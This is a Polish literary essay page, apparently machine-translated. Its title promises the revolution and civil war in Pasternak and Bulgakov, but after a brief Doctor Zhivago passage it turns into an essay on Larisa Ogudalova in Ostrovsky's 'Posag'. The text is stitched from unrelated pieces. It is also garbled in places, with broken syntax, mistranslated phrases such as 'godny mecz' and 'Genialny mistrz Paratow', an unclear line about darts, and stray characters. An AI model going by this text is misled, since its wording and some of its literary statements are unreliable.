Temat rewolucji, wojny domowej i losów inteligencji rosyjskiej w literaturze rosyjskiej (Pasternak, Bułhakow) Biała Gwardia Bułhakow M. A.

motyw rewolucji, wojna domowa i losy inteligencji rosyjskiej w literaturze rosyjskiej (Pasternak, Bułhakow) Początek powieści jest niezwykły: „Szli, chodzili i śpiewali” Wieczna pamięć„...Kto jest chowany?.. „Żiwago”. Całe dzieło Pasternaka zbudowane jest na opozycji żywych i umarłych. Główną kwestią, wokół której kręci się „zewnętrzne i wewnętrzne” życie głównych bohaterów, jest postawa ku rewolucji. A już najmniej Jurij Żywago i sam autor byli jej przeciwnikami, a już w najmniej kłócili się z biegiem wydarzeń, stawiali im opór. Ich stosunek do rzeczywistości jest zupełnie inny. Polega na postrzeganiu historii taką, jaka jest, nie wtrącając się w to, nie próbując tego zmieniać. Takie stanowisko pozwala obiektywnie zobaczyć, co się dzieje. Lekarz przypomniał sobie ubiegłą jesień, egzekucję rebeliantów, zabójstwo dzieci i żon Palychów, krwawe rzeź i rzeź ludzi, której końca nie widać. Fanatyzm białych i czerwonych rywalizował ze sobą w okrucieństwie, naprzemiennie zwiększając jedno w odpowiedzi na drugie, jakby się pomnażały.” …

Dramat Ostrowskiego „Posag” ukazuje czytelnikom tragedię Larisy Ogudalovej, która stała się zabawką o słabej woli w rękach otaczających ją osób. Ofiarą staje się także Larisa Ogudalova, podobnie jak Katerina Kabanova, główna bohaterka innego dramatu Ostrowskiego. Jednak Larisa początkowo ma inne cechy niż Katerina, która dorastała w patriarchalnym środowisku. Dramat „Posag” powstał w 1879 roku. W tym czasie w Rosji nawiązały się już stosunki kapitalistyczne. Oznacza to, że fundamenty patriarchalne stopniowo tracą na znaczeniu.

Otrzymała Larisa Ogudalova Dobra edukacja. Jest wyrafinowana na europejski sposób. Larisa marzy o miłości. Dziewczyna ma ciepłe serce. Nie może pozwolić, aby jej życie było związane z niekochaną osobą. Ale pragnienie miłości Larisy zbiega się z jej marzeniem i pięknym życiem. Larisa jest biedna, ale aby być szczęśliwą, potrzebuje także bogactwa.

Larisę otaczają małostkowi, niegodziwi ludzie. Genialny mistrz Paratow postrzega Larisę jedynie jako piękną rzecz. Ten imponujący, narcystyczny mężczyzna wydaje się dziewczynie ucieleśnieniem ideału. Ale w rzeczywistości Paratow nie ma ani szlachetności, ani życzliwości. Jest samolubny, małostkowy, okrutny, wyrachowany.

Jednak Karandyshev, który początkowo nie jest postrzegany jako godny mecz dla Larisy, niewiele się od niego różni. Larisa jest młoda i niedoświadczona. Ona nie ma silny charakter poradzić sobie z obecną sytuacją. To tak, jakby grała według cudzych zasad, stając się zabawką w cudzych rękach. Nawet matka Larisy postrzega swoją córkę jedynie jako towar. Jest gotowa poświęcić urodę i młodość Larisy, ponieważ pozwala to uzyskać korzyści materialne i wzmocnić status społeczny Ogudałow.

Każdy, kto otacza Larisę, myśli o niej wyłącznie jako o rzeczy, obiekcie rozrywki. To nie przypadek, że gra w rzutki. Wszystko najlepsze cechy Larisa, jej dusza, jej uczucia nikogo nie interesują. Ludzie myślą tylko o niej piękno zewnętrzne. W końcu to właśnie sprawia, że ​​jest to tak atrakcyjna zabawka.

Karandyshev mówi Larisie: „Nie patrzą na ciebie jak na kobietę, jak na osobę… patrzą na ciebie jak na rzecz”. Sama Ogudalova zgadza się z tym: „Rzecz… tak, rzecz! Mają rację, jestem rzeczą, nie jestem osobą…” Moim zdaniem, wielka tragedia dziewcząt jest właśnie to, że Larisa ma ciepłe serce. Gdyby była zimnokrwista, wyrachowana, przebiegła, Larisa, dzięki swoim zewnętrznym danym i umiejętności prezentacji, znalazłaby w życiu bardzo dobrą pracę. Jednak zapał, emocjonalność i otwartość bohaterki sprawiają, że bardziej cierpi z powodu przypisanej jej roli. Miłość i uczucia Larisy nikogo nie interesują, jest potrzebna wyłącznie dla rozrywki. Pod koniec dramatu dziewczyna zostaje zmiażdżona i zniszczona. Prowadzi to do tego, że zdesperowana Larisa zgadza się nawet przyjąć warunki Knurowa.

Tragiczne zakończenie „Posagu” jest dla bohaterki wybawieniem, wybawieniem od upokorzenia. Teraz nie należy do nikogo. Śmierć wydaje się być błogosławieństwem dla Larisy. Przecież upokorzona, nieszczęśliwa nie widzi sensu poźniejsze życie. Akt Siergieja Siergiejewicza Paratowa uświadamia dziewczynie to straszny faktże koniec jej życia będzie nieuchronnie tragiczny. Tak, teraz ktoś poza Siergiejem Paratowem nadal jej potrzebuje, ale lata miną, jej młodość minie, a Larisa zostanie po prostu wyrzucona przez jednego z jej bogatych właścicieli, jak zużyta i niepotrzebna rzecz.

Dramat „Posag” ponownie skłania do refleksji nad miejscem kobiety w świecie. Jeśli w sztuce „Burza z piorunami” Katerina stała się ofiarą stylu życia Domostrojewskiego, to Larisa jest ofiarą nowych, kapitalistycznych stosunków. Warto zauważyć, że zmieniają się zasady życia społeczeństwa. A kobieta nadal pozostaje bezsilną istotą. Katerina Kabanova znajduje siłę, by zaprotestować. Przecież jej samobójstwo jest wyraźnym protestem przeciwko rzeczywistości4, w której przyszło żyć bohaterce. Larisa nie ma odwagi nawet podjąć próby protestu. Do samego końca pozostaje zabawką w rękach okoliczności. Być może powodem tego jest wychowanie, które otrzymała Larisa Ogudalova. Jeśli ponownie spojrzymy na wizerunek Kateriny z „Burzy z piorunami”, przypomnimy sobie, że dziewczyna ta dorastała w atmosferze rodzicielskiej miłości i troski. Dlatego była bardzo wrażliwa na swoją obecną bezsilną sytuację. Jeśli chodzi o bohaterkę dramatu „Posag”, tutaj najwyraźniej Larisa została początkowo przygotowana przez matkę specjalnie do roli towaru, zabawki. Stąd bierność dziewczyny, brak chęci do walki, obrony swoich praw.

Los Larisy jest godny ubolewania. Ale jednocześnie nie można powstrzymać się od zastanowienia, dlaczego bohaterka, która ma gorące serce i namiętnie pragnie kochać, nie znajduje innego ujścia dla swoich pasji. W końcu ona, która otrzymała europejskie wychowanie, mogła się domyślić, że jej kochanek widzi w niej jedyną rozrywkę. Jednak Larisa została wychowana w takiej atmosferze, że możliwość zyskownego sprzedania siebie, jej piękna i talentu wydawała się całkiem do przyjęcia. To nie przypadek, że matka Larisy jest przedstawiana jako bardzo samolubna. To smutne, że w całym kręgu Larisy nie ma nikogo, kto nie byłby tak obojętny i okrutny wobec losu młodej dziewczyny.